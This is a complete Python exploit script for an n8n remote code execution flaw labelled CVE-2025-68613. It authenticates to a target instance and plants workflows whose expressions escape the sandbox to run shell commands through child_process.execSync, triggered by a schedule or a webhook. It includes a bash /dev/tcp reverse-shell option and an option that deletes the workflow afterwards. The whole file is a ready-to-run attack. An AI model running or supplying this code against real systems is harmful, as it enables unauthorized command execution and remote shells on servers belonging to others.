exploit.py

#!/usr/bin/env python3
"""
CVE-2025-68613 - n8n Workflow Expression RCE Exploit

This exploit targets a critical remote code execution vulnerability in n8n
workflow automation platform. The vulnerability exists in the expression 
evaluation system where user-supplied expressions are not properly sandboxed.

Affected versions: >= 0.211.0 and < 1.120.4, < 1.121.1, < 1.122.0

Usage:
    python3 n8n_exploit.py -t http://target:5678 -u email@example.com -p password -c "id"
    python3 n8n_exploit.py -t http://target:5678 -u email@example.com -p password --reverse-shell 192.168.1.100 4444
"""

import argparse
import requests
import json
import random
import string
import time
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class N8nExploit:
    def __init__(self, target, username, password, verify_ssl=False):
        self.target = target.rstrip('/')
        self.username = username
        self.password = password
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.workflow_id = None
        self.webhook_id = None
    
    def random_string(self, length=8):
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
    def get_version(self):
        """Get n8n version from settings endpoint"""
        try:
            resp = self.session.get(f"{self.target}/rest/settings")
            if resp.status_code == 200:
                data = resp.json()
                return data.get('data', {}).get('versionCli', 'Unknown')
        except Exception as e:
            print(f"[-] Error getting version: {e}")
        return None
    
    def login(self):
        """Authenticate to n8n"""
        print(f"[*] Attempting to login as {self.username}...")
        
        # Try n8n 1.x login format (emailOrLdapLoginId)
        login_data = {
            "emailOrLdapLoginId": self.username,
            "password": self.password
        }
        
        resp = self.session.post(
            f"{self.target}/rest/login",
            json=login_data,
            headers={"Content-Type": "application/json"}
        )
        
        if resp.status_code == 200:
            data = resp.json()
            if data.get('data'):
                print(f"[+] Successfully authenticated!")
                return True
        
        # Try older login format
        login_data = {
            "email": self.username,
            "password": self.password
        }
        
        resp = self.session.post(
            f"{self.target}/rest/login",
            json=login_data,
            headers={"Content-Type": "application/json"}
        )
        
        if resp.status_code == 200:
            data = resp.json()
            if data.get('data'):
                print(f"[+] Successfully authenticated!")
                return True
        
        print(f"[-] Authentication failed: {resp.text[:200]}")
        return False
    
    def create_workflow_with_code_node(self, command):
        """Create a workflow with a Code node that executes commands"""
        self.webhook_id = self.random_string(12)
        workflow_name = f"exploit_{self.random_string(8)}"
        
        # Code node payload - uses process.mainModule.require to access child_process
        code_payload = f'''
const {{ execSync }} = process.mainModule.require('child_process');
const result = execSync('{command}').toString();
return [{{ json: {{ output: result }} }}];
'''
        
        workflow_data = {
            "name": workflow_name,
            "nodes": [
                {
                    "parameters": {},
                    "id": self.random_string(36),
                    "name": "Webhook",
                    "type": "n8n-nodes-base.webhook",
                    "typeVersion": 1,
                    "position": [250, 300],
                    "webhookId": self.webhook_id
                },
                {
                    "parameters": {
                        "jsCode": code_payload,
                        "mode": "runOnceForAllItems"
                    },
                    "id": self.random_string(36),
                    "name": "Code",
                    "type": "n8n-nodes-base.code",
                    "typeVersion": 2,
                    "position": [450, 300]
                }
            ],
            "connections": {
                "Webhook": {
                    "main": [[{"node": "Code", "type": "main", "index": 0}]]
                }
            },
            "active": True
        }
        
        print(f"[*] Creating malicious workflow with Code node...")
        
        resp = self.session.post(
            f"{self.target}/rest/workflows",
            json=workflow_data,
            headers={"Content-Type": "application/json"}
        )
        
        if resp.status_code in [200, 201]:
            data = resp.json()
            self.workflow_id = data.get('data', {}).get('id') or data.get('id')
            print(f"[+] Workflow created with ID: {self.workflow_id}")
            print(f"[+] Webhook ID: {self.webhook_id}")
            return True
        
        print(f"[-] Failed to create workflow: {resp.text[:300]}")
        return False
    
    def create_workflow_with_expression(self, command):
        """Create a workflow with sandbox escape expression"""
        self.webhook_id = self.random_string(12)
        workflow_name = f"exploit_{self.random_string(8)}"
        
        # Expression-based sandbox escape payload (CVE-2025-68613)
        # Uses this.process to access Node.js process object directly
        # Payload: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cmd').toString() })() }}
        escaped_cmd = command.replace("'", "\\'")
        expression_payload = (
            "={{ (function(){ return this.process.mainModule.require('child_process')"
            f".execSync('{escaped_cmd}').toString() }})() }}"
        )
        
        workflow_data = {
            "name": workflow_name,
            "nodes": [
                {
                    "parameters": {
                        "path": self.webhook_id,
                        "httpMethod": "GET"
                    },
                    "id": self.random_string(36),
                    "name": "Webhook",
                    "type": "n8n-nodes-base.webhook",
                    "typeVersion": 1,
                    "position": [250, 300],
                    "webhookId": self.random_string(36)
                },
                {
                    "parameters": {
                        "values": {
                            "string": [
                                {
                                    "name": "result",
                                    "value": expression_payload
                                }
                            ]
                        }
                    },
                    "id": self.random_string(36),
                    "name": "Set",
                    "type": "n8n-nodes-base.set",
                    "typeVersion": 1,
                    "position": [450, 300]
                }
            ],
            "connections": {
                "Webhook": {
                    "main": [[{"node": "Set", "type": "main", "index": 0}]]
                }
            },
            "active": True
        }
        
        print(f"[*] Creating malicious workflow with expression-based payload...")
        
        resp = self.session.post(
            f"{self.target}/rest/workflows",
            json=workflow_data,
            headers={"Content-Type": "application/json"}
        )
        
        if resp.status_code in [200, 201]:
            data = resp.json()
            self.workflow_id = data.get('data', {}).get('id') or data.get('id')
            print(f"[+] Workflow created with ID: {self.workflow_id}")
            print(f"[+] Webhook ID: {self.webhook_id}")
            return True
        
        print(f"[-] Failed to create workflow: {resp.text[:300]}")
        return False
    
    def create_schedule_trigger_workflow(self, command):
        """Create a workflow with Schedule Trigger that auto-executes (WORKING METHOD)"""
        workflow_name = f"exploit_{self.random_string(8)}"
        
        # Expression-based sandbox escape payload (CVE-2025-68613)
        # Using concatenation to avoid f-string brace escaping issues
        escaped_cmd = command.replace("'", "\\'")
        expression_payload = (
            "={{ (function(){ return this.process.mainModule.require('child_process')"
            f".execSync('{escaped_cmd}').toString() " + "})() }}"
        )
        
        workflow_data = {
            "name": workflow_name,
            "active": False,  # Will be activated via PATCH after creation
            "settings": {
                "saveDataErrorExecution": "all",
                "saveDataSuccessExecution": "all",
                "saveManualExecutions": True,
                "executionOrder": "v1"
            },
            "nodes": [
                {
                    "parameters": {
                        "rule": {
                            "interval": [{"field": "seconds", "secondsInterval": 3}]
                        }
                    },
                    "id": self.random_string(36),
                    "name": "Schedule Trigger",
                    "type": "n8n-nodes-base.scheduleTrigger",
                    "typeVersion": 1.1,
                    "position": [250, 300]
                },
                {
                    "parameters": {
                        "values": {
                            "string": [
                                {
                                    "name": "result",
                                    "value": expression_payload
                                }
                            ]
                        }
                    },
                    "id": self.random_string(36),
                    "name": "Set",
                    "type": "n8n-nodes-base.set",
                    "typeVersion": 1,
                    "position": [450, 300]
                }
            ],
            "connections": {
                "Schedule Trigger": {
                    "main": [[{"node": "Set", "type": "main", "index": 0}]]
                }
            }
        }
        
        print(f"[*] Creating Schedule Trigger workflow with RCE payload...")
        
        resp = self.session.post(
            f"{self.target}/rest/workflows",
            json=workflow_data,
            headers={"Content-Type": "application/json"}
        )
        
        if resp.status_code in [200, 201]:
            data = resp.json()
            self.workflow_id = data.get('data', {}).get('id') or data.get('id')
            print(f"[+] Workflow created with ID: {self.workflow_id}")
            
            # Activate the workflow via PATCH
            print(f"[*] Activating workflow to trigger scheduled execution...")
            activate_resp = self.session.patch(
                f"{self.target}/rest/workflows/{self.workflow_id}",
                json={"active": True},
                headers={"Content-Type": "application/json"}
            )
            
            if activate_resp.status_code == 200:
                print(f"[+] Workflow activated - payload will execute every 3 seconds!")
                return True
            else:
                print(f"[-] Failed to activate workflow: {activate_resp.status_code}")
                return False
        
        print(f"[-] Failed to create workflow: {resp.text[:300]}")
        return False
    
    def trigger_webhook(self):
        """Trigger the webhook to execute the workflow"""
        print(f"[*] Triggering webhook: /webhook/{self.webhook_id}")
        
        # Try GET request (default for webhooks)
        resp = self.session.get(f"{self.target}/webhook/{self.webhook_id}")
        
        if resp.status_code == 200:
            print(f"[+] Webhook triggered successfully!")
            print(f"[*] Response: {resp.text[:500]}")
            return True
        elif resp.status_code == 404:
            print(f"[-] Webhook not found. Response: {resp.text[:200]}")
            # Try POST
            print(f"[*] Trying POST request...")
            resp = self.session.post(f"{self.target}/webhook/{self.webhook_id}", json={})
            if resp.status_code == 200:
                print(f"[+] Webhook triggered successfully!")
                print(f"[*] Response: {resp.text[:500]}")
                return True
        
        print(f"[-] Failed to trigger webhook: {resp.status_code} - {resp.text[:200]}")
        return False
    
    def check_execution(self):
        """Check the execution status and result"""
        print(f"[*] Checking execution results...")
        
        resp = self.session.get(
            f"{self.target}/rest/executions",
            params={"workflowId": self.workflow_id, "limit": 1}
        )
        
        if resp.status_code == 200:
            data = resp.json()
            results = data.get('data', {}).get('results', [])
            if results:
                execution = results[0]
                status = execution.get('status', 'unknown')
                print(f"[*] Execution status: {status}")
                
                # Get full execution details
                exec_id = execution.get('id')
                if exec_id:
                    resp2 = self.session.get(f"{self.target}/rest/executions/{exec_id}")
                    if resp2.status_code == 200:
                        exec_data = resp2.json()
                        return exec_data
        
        return None
    
    def cleanup(self):
        """Delete the workflow"""
        if self.workflow_id:
            print(f"[*] Cleaning up workflow {self.workflow_id}...")
            resp = self.session.delete(f"{self.target}/rest/workflows/{self.workflow_id}")
            if resp.status_code == 200:
                print(f"[+] Workflow deleted successfully")
            else:
                print(f"[-] Failed to delete workflow: {resp.status_code}")
    
    def activate_workflow(self):
        """Explicitly activate the workflow to register webhooks"""
        if not self.workflow_id:
            return False
        
        print(f"[*] Activating workflow {self.workflow_id}...")
        
        # First, get the current workflow
        resp = self.session.get(f"{self.target}/rest/workflows/{self.workflow_id}")
        if resp.status_code != 200:
            print(f"[-] Failed to get workflow: {resp.status_code}")
            return False
        
        workflow_data = resp.json().get('data', {})
        
        # Update with active=true via PATCH
        resp = self.session.patch(
            f"{self.target}/rest/workflows/{self.workflow_id}",
            json={"active": True},
            headers={"Content-Type": "application/json"}
        )
        
        if resp.status_code == 200:
            print(f"[+] Workflow activated successfully!")
            return True
        
        print(f"[-] Failed to activate workflow: {resp.status_code} - {resp.text[:200]}")
        return False
    
    def exploit(self, command, mode='schedule', cleanup=True):
        """Main exploit function
        
        mode: 'schedule' (default, most reliable), 'webhook', or 'code_node'
        """
        print(f"\n[*] n8n CVE-2025-68613 Exploit")
        print(f"[*] Target: {self.target}")
        print(f"[*] Command: {command}")
        print(f"[*] Mode: {mode}")
        print()
        
        # Get version
        version = self.get_version()
        if version:
            print(f"[*] n8n version: {version}")
        
        # Login
        if not self.login():
            return False
        
        # Create workflow based on mode
        if mode == 'schedule':
            # Most reliable method - uses Schedule Trigger for automatic execution
            if not self.create_schedule_trigger_workflow(command):
                return False
            
            # Wait for scheduled execution to fire
            print(f"[*] Waiting for scheduled execution (3-5 seconds)...")
            time.sleep(5)
            
            # Check execution
            result = self.check_execution()
            if result:
                data = result.get('data', {})
                status = data.get('status', 'unknown')
                print(f"[+] Execution status: {status}")
                if status == 'success':
                    print(f"[+] Command executed successfully!")
        
        elif mode == 'webhook':
            if not self.create_workflow_with_expression(command):
                return False
            
            # Activate workflow
            if not self.activate_workflow():
                if cleanup:
                    self.cleanup()
                return False
            
            time.sleep(2)
            
            # Trigger webhook
            if not self.trigger_webhook():
                if cleanup:
                    self.cleanup()
                return False
            
            time.sleep(2)
            result = self.check_execution()
        
        elif mode == 'code_node':
            if not self.create_workflow_with_code_node(command):
                return False
            
            if not self.activate_workflow():
                if cleanup:
                    self.cleanup()
                return False
            
            time.sleep(2)
            
            if not self.trigger_webhook():
                if cleanup:
                    self.cleanup()
                return False
            
            time.sleep(2)
            result = self.check_execution()
        
        # Cleanup
        if cleanup:
            self.cleanup()
        
        return True


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-68613 - n8n Workflow Expression RCE Exploit"
    )
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://localhost:5678)")
    parser.add_argument("-u", "--username", required=True, help="n8n username/email")
    parser.add_argument("-p", "--password", required=True, help="n8n password")
    parser.add_argument("-c", "--command", help="Command to execute")
    parser.add_argument("--reverse-shell", nargs=2, metavar=("IP", "PORT"), 
                        help="Create reverse shell (IP PORT)")
    parser.add_argument("--mode", choices=['schedule', 'webhook', 'code_node'], default='schedule',
                        help="Exploit mode: schedule (default, most reliable), webhook, or code_node")
    parser.add_argument("--no-cleanup", action="store_true", help="Don't delete workflow after exploit")
    parser.add_argument("-k", "--insecure", action="store_true", help="Skip SSL verification")
    
    args = parser.parse_args()
    
    # Determine command to execute
    if args.reverse_shell:
        ip, port = args.reverse_shell
        # Bash reverse shell
        command = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'"
    elif args.command:
        command = args.command
    else:
        print("[-] Please specify either --command or --reverse-shell")
        sys.exit(1)
    
    exploit = N8nExploit(
        target=args.target,
        username=args.username,
        password=args.password,
        verify_ssl=not args.insecure
    )
    
    success = exploit.exploit(
        command=command,
        mode=args.mode,
        cleanup=not args.no_cleanup
    )
    
    if success:
        print("\n[+] Exploit completed")
    else:
        print("\n[-] Exploit failed")
        sys.exit(1)


if __name__ == "__main__":
    main()